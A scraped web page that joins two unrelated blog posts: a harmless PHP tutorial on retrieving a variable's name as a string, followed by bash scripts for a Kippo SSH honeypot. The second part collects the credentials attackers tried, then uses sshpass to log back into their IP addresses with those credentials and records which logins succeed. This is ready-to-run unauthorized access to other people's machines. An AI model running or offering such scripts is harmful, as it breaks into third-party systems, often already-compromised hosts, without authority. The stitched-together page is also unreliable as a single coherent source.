From: http://mach13.com/how-to-get-a-variable-name-as-a-string-in-php


How to get a variable name as a string in PHP
PHP – Jean-Jacques Guegan
On rare occasions, you may need to retrieve a variable name as a string.

This handy little function retreives the name of the variable:

< ?php
      $my_var = 1;
      echo var_name ($my_var);
?>

will give ‘my_var’.

I started trying to find a solution to this problem, because I needed such a function and because questions about it appeared on several mailing lists and forums:
[PHP] Is there a way to get a variable name as a string?

most people said it was not possible…
Re: [PHP] Is there a way to get a variable name as a string?
From: Rasmus Lerdorf

In PHP it is possible to use a variable if you have its name as a string :

 
< ?php
    $iVarName = 'MaxSize';
    $$iVarName = 10;
    echo $MaxSize;
?>

But PHP does not natively include a way to get the name of a given variable.

This might be useful in situations where you design a function with a parameter passed by reference and you need to know which variable was sent as a parameter for this function.

The solution :
The following function retreives the variable name from a given variable:

< ?php
 function var_name (&$iVar, &$aDefinedVars)
    {
    foreach ($aDefinedVars as $k=>$v)
        $aDefinedVars_0[$k] = $v;
 
    $iVarSave = $iVar;
    $iVar     =!$iVar;
 
    $aDiffKeys = array_keys (array_diff_assoc ($aDefinedVars_0, $aDefinedVars));
    $iVar      = $iVarSave;
 
    return $aDiffKeys[0];
    }
 
?>

This function has to be called with a second parameter always set to the result of the function “get_defined_vars()”:

< ?php	
 var_name($iVar, get_defined_vars());
?>

How does it work ?
var_name compares the result of the function “get_defined_vars()” before and after modification of the variable whose name we want to find.
The initial set of defined variables passed as a parameter to var_name is first stored in “$aDefinedVars_0” and compared later.
Before modifying the value of the variable, its value is saved in $iVarSave.

$iVar

is then changed to something different :

$iVar=!$iVar;

$aDefinedVars keeps track of this modification and can be compare to $aDefinedVars_0 (its initial value). The difference is the variable we modified and we can get its name as a string in the key value of the array record.

The value of the variable is restored to its initial value kept in $iVarSave and the name of the variable is returned.
Example :
The following PHP code shows the function var_name in action:

< ?php
$v_1 = 1;                               echo 'var $',var_name ($v_1, get_defined_vars()),' = ',var_dump($v_1),'
'; $v_2 = 4; echo 'var $',var_name ($v_2, get_defined_vars()),' = ',var_dump($v_2),'
'; $v_3 = 'qwerty'; echo 'var $',var_name ($v_3, get_defined_vars()),' = ',var_dump($v_3),'
'; $v_4 = array('aa'=>'11','bb'=>'22',3); echo 'var $',var_name ($v_4, get_defined_vars()),' = ',var_dump($v_4),'
'; $v_5 = &$v_2; echo 'var $',var_name ($v_5, get_defined_vars()),' = ',var_dump($v_5),'
'; echo 'var $',implode (' / $',var_name ($v_5, get_defined_vars(),true)),' = ',var_dump($v_5),'
'; function test() { $v_1 = 'qwerty'; echo 'var $',var_name ($v_1, get_defined_vars()),' = ',var_dump($v_1),'

'; global $v_5; echo 'var $',var_name ($v_5, get_defined_vars()),' = ',var_dump($v_5),'

'; } test(); ?>

var_name can retreive the name of the variable in every case.

Application :
The most direct application of this function is, of course, a “dump” function.
Just call this “dump” function with the variable you want to monitor – do not forget to add the “get_defined_vars()” parameter…

< ?php	
 
function dump(&$v, &$aDefinedVars)
    {
    echo '
',implode (' / $',var_name ($v, $aDefinedVars, true)),' = ',print_r($v, true),'

'; } dump($v_4, get_defined_vars()); ?>

Going further :
The function var_name can be enhanced by adding the parameter $bShowAllRef to show, if set to true, all the references relating to the variable passed as a parameter:

 
< ?php
 
function var_name (&$iVar, &$aDefinedVars, $bShowAllRef=false )
    {
    foreach ($aDefinedVars as $k=>$v)
        $aDefinedVars_0[$k] = $v;
 
    $iVarSave = $iVar;
    $iVar     =!$iVar;
 
    $aDiffKeys = array_keys (array_diff_assoc ($aDefinedVars_0, $aDefinedVars));
    $iVar      = $iVarSave;
 
    return ($bShowAllRef? $aDiffKeys: $aDiffKeys[0]);
    }
 
?>

That’s it ! You can download the function here.

This code is free to use and published under the GPL license.

 1,238 total views

First we log all the connection attempts to my server(Live or new Virtual Machine) using the package called Kippo – http://code.google.com/p/kippo/.


Then we create this file I called grab_ssh_info.sh(Click for latest).

#!/bin/bash

 # Run this every day at least in order to get all the entries.
 # Run this before the logrotate does its work on the kippo log(You are rotating it right?) for the day/week/month$
 # Cron could be 44 min mark every hour so when it rotates at midnight you will not lose much data.

# Start a new log.
if [ -e /root/scripts/kippo_ssh_auths.log ]; then
 rm /root/scripts/kippo_ssh_auths.log
fi

# Since I am only looking at the recent listings, only look at todays based on the date timestamp
todays_date=date +%F
# Only read todays and loop each line in the string
grep -i $todays_date /home/ris/kippo-0.5/log/kippo.log | while read -r line; do

 # Only read the lines that contain login auths and IPs. All in one line in this case.
 if [[ echo $line | grep -i "login attempt" ]]; then
  # Cut out the different parts.
  inIP=echo $line | grep -i "login attempt" | cut -d '[' -f 2 | cut -d ',' -f 3 | cut -d ']' -f 1
  inUSER=echo $line | grep -i "login attempt" | cut -d '[' -f 3 | cut -d '/' -f 1
  inPASS=echo $line | grep -i "login attempt" | cut -d '[' -f 3 | cut -d '/' -f 2 | cut -d ']' -f 1

  # Throw it all in together for outputing to a log of my own.
  output="$inIP|$inUSER|$inPASS"
  #echo $output

  # IF we do not already have it in the log, append the info to it.
  if [ ! -e /root/scripts/kippo_ssh_auths.log ]; then
   touch /root/scripts/kippo_ssh_auths.log
  fi

  grep -q "$output" /root/scripts/kippo_ssh_auths.log
  if [ $? == 1 ]; then
   echo "$inIP|$inUSER|$inPASS" >> /root/scripts/kippo_ssh_auths.log
  fi
 fi
done

Then we can use the copy of /root/kippo_ssh_auths.log log to try and connect BACK to the door knockers machine and see if the login works.
If it does, add it to a success log(if new) and go on to the next one.
If it fails, ignore it. It will be deleted when we delete the copy of the log file at the end of the script.
I call this file test_ssh_info.sh

#!/bin/bash

# This script will take mv the /root/scripts/kippo_ssh_auths.log log to /root/scripts/test_ssh_auths.log
# so we can safely work on it.

# After moving, it will go line by line and take the arguments and test them by ssh.
# If it works, the info will be written to another log, /root/scripts/valid_ssh_auths.log for any other usage.

# Suggest running at 45 min mark every hour. Right after the grab info script.

mv /root/scripts/kippo_ssh_auths.log /root/scripts/test_ssh_auths.log

# Old string seperator
oifs=$IFS
# The one we want
IFS="|"

while read line; do

 echo "Testing: $line"
 # Split the line into a array
 # Format IP|USERNAME|PASSWORD
 tmp_arr=($line)
 testip=${tmp_arr[0]}
 testuser=${tmp_arr[1]}
 testpass=${tmp_arr[2]}
# echo "$testip $testuser $testpass"

 # Use the tool sshpass to passthrough a password to ssh
 # How can I do this in parallel ?
sshpass -p "$testpass" ssh -q -o "StrictHostKeyChecking no" -l "$testuser" $testip "exit"
# sshpass -p "$testpass" ssh -o "StrictHostKeyChecking no" -l "$testuser" $testip "exit"

 testssh=$?
# echo "Return Code: $testssh"

 # sshpass will exit with code 0 if it logged in ok.
 # ?? I was testing it and had some errors using the script. It would exit with 5. If I did it manualy, it worked $
 if [ $testssh == 0 ]; then
  output="$testip|$testuser|$testpass"

  if [ ! -e /root/scripts/valid_ssh_auths.log ]; then
   touch /root/scripts/valid_ssh_auths.log
  fi

  grep -q "$output" /root/scripts/valid_ssh_auths.log
  if [ $? == 1 ]; then
   echo "$line" >> /root/scripts/valid_ssh_auths.log
   echo "Valid: $line"
  else
   echo "NOT Valid: $line"
  fi
 fi

done < /root/scripts/test_ssh_auths.log;

# Change back the String Seperator
IFS=$oifs

# Remove the log that we tested
rm /root/scripts/test_ssh_auths.log

Small script(start_kippo.sh) for cron to make sure your Kippo is still running.
I noticed that the small VPS I was running would kill Kippo once awhile because I ran out of memory(32MB) and swap(32MB). So I tested every minute to see if needed starting again.

#!/bin/bash

ps aux | grep -i twistd | grep -q -i kippo
code=$?

if [ $code == 1 ]; then
 cd  /home/ris/kippo-0.5/
 sudo -u ris  /home/ris/kippo-0.5/start.sh
 echo "Started Kippo again."
fi

Set your log rotation to cycle the Kippo log every 24 hours or my scripts will be re testing a lot of ssh connections.
Set your cron to run them whenever. I recommend just before the logrotate cycle. Just make sure it is sequenced right. Do the grab script first.

 1,291 total views